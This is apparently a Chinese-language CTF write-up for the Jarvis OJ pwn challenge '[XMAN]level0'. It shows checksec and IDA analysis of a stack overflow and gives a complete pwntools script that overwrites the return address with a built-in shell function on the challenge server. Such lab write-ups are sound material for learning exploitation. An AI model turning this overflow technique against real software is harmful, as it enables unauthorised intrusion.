Jarvis OJ - [XMAN]level0 - Writeup
Jarvis OJ - [XMAN]level0 - Writeup
M4x原创,转载请标明出处http://www.cnblogs.com/WangAoBo/p/7591552.html
来补jarvis pwn的分析了,之后几天会全都补回来
tell me something与level0类似,不再写详细Writeup
题目:
分析:
-
拿到文件先checksec检查保护机制
No canary found, No PIE,妥妥的栈溢出
-
拖到64位IDA中查看详细信息,先搜索字符串,直接就有了/bin/sh。。。
-
双击定位到字符串出现位置,进入callsystem函数,F5反汇编,发现了一个已经写好的可以get shell的函数
-
再查看vulnerable_function函数,read可以读入0x200,即512个字符,而从buf到vulnerable_function的返回地址只有0x80+0x8,即136个字节 < 512,因此可以覆盖vulnerable_function的返回地址为call_system函数地址,即可getshell,此时程序的流程如下图:
灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序
步骤:
-
根据如上分析,直接放exp
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 __Auther__ = 'M4x' 4 5 from pwn import * 6 7 context.log_level = 'debug' 8 9 elf = ELF('./level0') 10 callsys_addr = elf.symbols['callsystem'] 11 12 # io = process('./level0') 13 io = remote('pwn2.jarvisoj.com', 9881) 14 io.recvuntil('World\n') 15 16 payload = 'A' * (0x80 + 0x8) + p64(callsys_addr) 17 io.send(payload) 18 19 io.interactive() 20 io.close()
运行,cat flag如下